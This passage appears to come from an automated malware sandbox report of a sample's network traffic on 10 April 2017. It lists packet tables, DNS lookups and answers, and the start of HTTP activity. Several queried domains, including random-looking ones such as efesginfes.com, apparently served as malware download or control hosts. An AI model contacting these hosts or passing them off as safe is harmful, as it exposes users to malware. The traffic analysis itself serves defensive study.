Apr 10, 2017 10:42:10.283905029 CEST | 80 | 49193 | 70.40.220.101 | 192.168.1.16 |
Apr 10, 2017 10:42:10.283941984 CEST | 49193 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:42:10.284079075 CEST | 49193 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:42:10.457691908 CEST | 53278 | 53 | 192.168.1.16 | 8.8.8.8 |
Apr 10, 2017 10:42:10.500219107 CEST | 53 | 53278 | 8.8.8.8 | 192.168.1.16 |
Apr 10, 2017 10:42:10.875096083 CEST | 53279 | 53 | 192.168.1.16 | 8.8.8.8 |
Apr 10, 2017 10:42:11.043406010 CEST | 53 | 53279 | 8.8.8.8 | 192.168.1.16 |
Apr 10, 2017 10:42:11.361460924 CEST | 53280 | 53 | 192.168.1.16 | 8.8.8.8 |
Apr 10, 2017 10:42:12.814416885 CEST | 49190 | 80 | 192.168.1.16 | 34.204.233.181 |
Apr 10, 2017 10:42:12.814531088 CEST | 49191 | 80 | 192.168.1.16 | 192.163.235.174 |
Apr 10, 2017 10:42:12.814610958 CEST | 49193 | 80 | 192.168.1.16 | 70.40.220.101 |
Apr 10, 2017 10:42:13.650213957 CEST | 53 | 53280 | 8.8.8.8 | 192.168.1.16 |
Apr 10, 2017 10:42:13.650824070 CEST | 49194 | 80 | 192.168.1.16 | 130.211.122.163 |
Apr 10, 2017 10:42:13.650862932 CEST | 80 | 49194 | 130.211.122.163 | 192.168.1.16 |
Apr 10, 2017 10:42:13.650909901 CEST | 49194 | 80 | 192.168.1.16 | 130.211.122.163 |
Apr 10, 2017 10:42:13.651092052 CEST | 49194 | 80 | 192.168.1.16 | 130.211.122.163 |
Apr 10, 2017 10:42:13.651617050 CEST | 80 | 49194 | 130.211.122.163 | 192.168.1.16 |
Apr 10, 2017 10:42:13.651699066 CEST | 49194 | 80 | 192.168.1.16 | 130.211.122.163 |
Apr 10, 2017 10:42:13.756120920 CEST | 49195 | 80 | 192.168.1.16 | 130.211.122.163 |
Apr 10, 2017 10:42:13.756148100 CEST | 80 | 49195 | 130.211.122.163 | 192.168.1.16 |
Apr 10, 2017 10:42:13.756210089 CEST | 49195 | 80 | 192.168.1.16 | 130.211.122.163 |
Apr 10, 2017 10:42:13.756550074 CEST | 49195 | 80 | 192.168.1.16 | 130.211.122.163 |
Apr 10, 2017 10:42:13.756565094 CEST | 80 | 49195 | 130.211.122.163 | 192.168.1.16 |
Apr 10, 2017 10:42:13.756659985 CEST | 49195 | 80 | 192.168.1.16 | 130.211.122.163 |
Apr 10, 2017 10:42:13.756671906 CEST | 80 | 49195 | 130.211.122.163 | 192.168.1.16 |
Apr 10, 2017 10:42:15.574141979 CEST | 80 | 49195 | 130.211.122.163 | 192.168.1.16 |
Apr 10, 2017 10:42:15.611082077 CEST | 53281 | 53 | 192.168.1.16 | 8.8.8.8 |
Apr 10, 2017 10:42:15.635072947 CEST | 53 | 53281 | 8.8.8.8 | 192.168.1.16 |
Apr 10, 2017 10:42:15.776475906 CEST | 80 | 49195 | 130.211.122.163 | 192.168.1.16 |
Apr 10, 2017 10:42:15.776609898 CEST | 49195 | 80 | 192.168.1.16 | 130.211.122.163 |
Apr 10, 2017 10:42:16.004199028 CEST | 64052 | 53 | 192.168.1.16 | 8.8.8.8 |
Apr 10, 2017 10:42:16.025681973 CEST | 53 | 64052 | 8.8.8.8 | 192.168.1.16 |
Apr 10, 2017 10:43:15.702706099 CEST | 49195 | 80 | 192.168.1.16 | 130.211.122.163 |
UDP Packets |
---|
Timestamp | Source Port | Dest Port | Source IP | Dest IP |
---|---|---|---|---|
Apr 10, 2017 10:41:13.984958887 CEST | 58054 | 53 | 192.168.1.16 | 8.8.8.8 |
Apr 10, 2017 10:41:14.474910021 CEST | 53 | 58054 | 8.8.8.8 | 192.168.1.16 |
Apr 10, 2017 10:41:35.564522982 CEST | 55399 | 53 | 192.168.1.16 | 8.8.8.8 |
Apr 10, 2017 10:41:35.731849909 CEST | 53 | 55399 | 8.8.8.8 | 192.168.1.16 |
Apr 10, 2017 10:41:36.165775061 CEST | 53010 | 53 | 192.168.1.16 | 8.8.8.8 |
Apr 10, 2017 10:41:36.384692907 CEST | 53 | 53010 | 8.8.8.8 | 192.168.1.16 |
Apr 10, 2017 10:41:37.067981958 CEST | 52401 | 53 | 192.168.1.16 | 8.8.8.8 |
Apr 10, 2017 10:41:37.302489042 CEST | 53 | 52401 | 8.8.8.8 | 192.168.1.16 |
Apr 10, 2017 10:42:10.457691908 CEST | 53278 | 53 | 192.168.1.16 | 8.8.8.8 |
Apr 10, 2017 10:42:10.500219107 CEST | 53 | 53278 | 8.8.8.8 | 192.168.1.16 |
Apr 10, 2017 10:42:10.875096083 CEST | 53279 | 53 | 192.168.1.16 | 8.8.8.8 |
Apr 10, 2017 10:42:11.043406010 CEST | 53 | 53279 | 8.8.8.8 | 192.168.1.16 |
Apr 10, 2017 10:42:11.361460924 CEST | 53280 | 53 | 192.168.1.16 | 8.8.8.8 |
Apr 10, 2017 10:42:13.650213957 CEST | 53 | 53280 | 8.8.8.8 | 192.168.1.16 |
Apr 10, 2017 10:42:15.611082077 CEST | 53281 | 53 | 192.168.1.16 | 8.8.8.8 |
Apr 10, 2017 10:42:15.635072947 CEST | 53 | 53281 | 8.8.8.8 | 192.168.1.16 |
Apr 10, 2017 10:42:16.004199028 CEST | 64052 | 53 | 192.168.1.16 | 8.8.8.8 |
Apr 10, 2017 10:42:16.025681973 CEST | 53 | 64052 | 8.8.8.8 | 192.168.1.16 |
DNS Queries |
---|
Timestamp | Source IP | Dest IP | Trans ID | OP Code | Name | Type | Class |
---|---|---|---|---|---|---|---|
Apr 10, 2017 10:41:13.984958887 CEST | 192.168.1.16 | 8.8.8.8 | 0x51ec | Standard query (0) | zhilstroy9.ru | A (IP address) | IN (0x0001) |
Apr 10, 2017 10:41:35.564522982 CEST | 192.168.1.16 | 8.8.8.8 | 0x43a2 | Standard query (0) | ergonomus.co | A (IP address) | IN (0x0001) |
Apr 10, 2017 10:41:36.165775061 CEST | 192.168.1.16 | 8.8.8.8 | 0xaf4d | Standard query (0) | stpeteweddingdj.com | A (IP address) | IN (0x0001) |
Apr 10, 2017 10:41:37.067981958 CEST | 192.168.1.16 | 8.8.8.8 | 0x6216 | Standard query (0) | coloradomma.org | A (IP address) | IN (0x0001) |
Apr 10, 2017 10:42:10.457691908 CEST | 192.168.1.16 | 8.8.8.8 | 0x9195 | Standard query (0) | microsoft.com | A (IP address) | IN (0x0001) |
Apr 10, 2017 10:42:10.875096083 CEST | 192.168.1.16 | 8.8.8.8 | 0x8bc | Standard query (0) | adaqswvfikh.com | A (IP address) | IN (0x0001) |
Apr 10, 2017 10:42:11.361460924 CEST | 192.168.1.16 | 8.8.8.8 | 0xcc8e | Standard query (0) | efesginfes.com | A (IP address) | IN (0x0001) |
Apr 10, 2017 10:42:15.611082077 CEST | 192.168.1.16 | 8.8.8.8 | 0x46c7 | Standard query (0) | efesginfes.com | A (IP address) | IN (0x0001) |
Apr 10, 2017 10:42:16.004199028 CEST | 192.168.1.16 | 8.8.8.8 | 0xb322 | Standard query (0) | microsoft.com | A (IP address) | IN (0x0001) |
DNS Answers |
---|
Timestamp | Source IP | Dest IP | Trans ID | Replay Code | Name | CName | Address | Type | Class |
---|---|---|---|---|---|---|---|---|---|
Apr 10, 2017 10:41:14.474910021 CEST | 8.8.8.8 | 192.168.1.16 | 0x51ec | No error (0) | zhilstroy9.ru | 62.109.10.120 | A (IP address) | IN (0x0001) | |
Apr 10, 2017 10:41:35.731849909 CEST | 8.8.8.8 | 192.168.1.16 | 0x43a2 | No error (0) | ergonomus.co | 34.204.233.181 | A (IP address) | IN (0x0001) | |
Apr 10, 2017 10:41:36.384692907 CEST | 8.8.8.8 | 192.168.1.16 | 0xaf4d | No error (0) | stpeteweddingdj.com | 192.163.235.174 | A (IP address) | IN (0x0001) | |
Apr 10, 2017 10:41:37.302489042 CEST | 8.8.8.8 | 192.168.1.16 | 0x6216 | No error (0) | coloradomma.org | 70.40.220.101 | A (IP address) | IN (0x0001) | |
Apr 10, 2017 10:42:10.500219107 CEST | 8.8.8.8 | 192.168.1.16 | 0x9195 | No error (0) | microsoft.com | 104.40.211.35 | A (IP address) | IN (0x0001) | |
Apr 10, 2017 10:42:11.043406010 CEST | 8.8.8.8 | 192.168.1.16 | 0x8bc | No error (0) | adaqswvfikh.com | 77.88.222.7 | A (IP address) | IN (0x0001) | |
Apr 10, 2017 10:42:13.650213957 CEST | 8.8.8.8 | 192.168.1.16 | 0xcc8e | No error (0) | efesginfes.com | 130.211.122.163 | A (IP address) | IN (0x0001) | |
Apr 10, 2017 10:42:15.635072947 CEST | 8.8.8.8 | 192.168.1.16 | 0x46c7 | No error (0) | efesginfes.com | 130.211.122.163 | A (IP address) | IN (0x0001) | |
Apr 10, 2017 10:42:16.025681973 CEST | 8.8.8.8 | 192.168.1.16 | 0xb322 | No error (0) | microsoft.com | 104.40.211.35 | A (IP address) | IN (0x0001) |
HTTP Request Dependency Graph |
---|
|
HTTP Packets |
---|
Timestamp | Source Port | Dest Port | Source IP | Dest IP | Header | Total Bytes Transfered (KB) |
---|---|---|---|---|---|---|
Apr 10, 2017 10:41:35.735663891 CEST | 49190 | 80 | 192.168.1.16 | 34.204.233.181 | 1 | |
Apr 10, 2017 10:41:36.119601011 CEST | 80 | 49190 | 34.204.233.181 | 192.168.1.16 |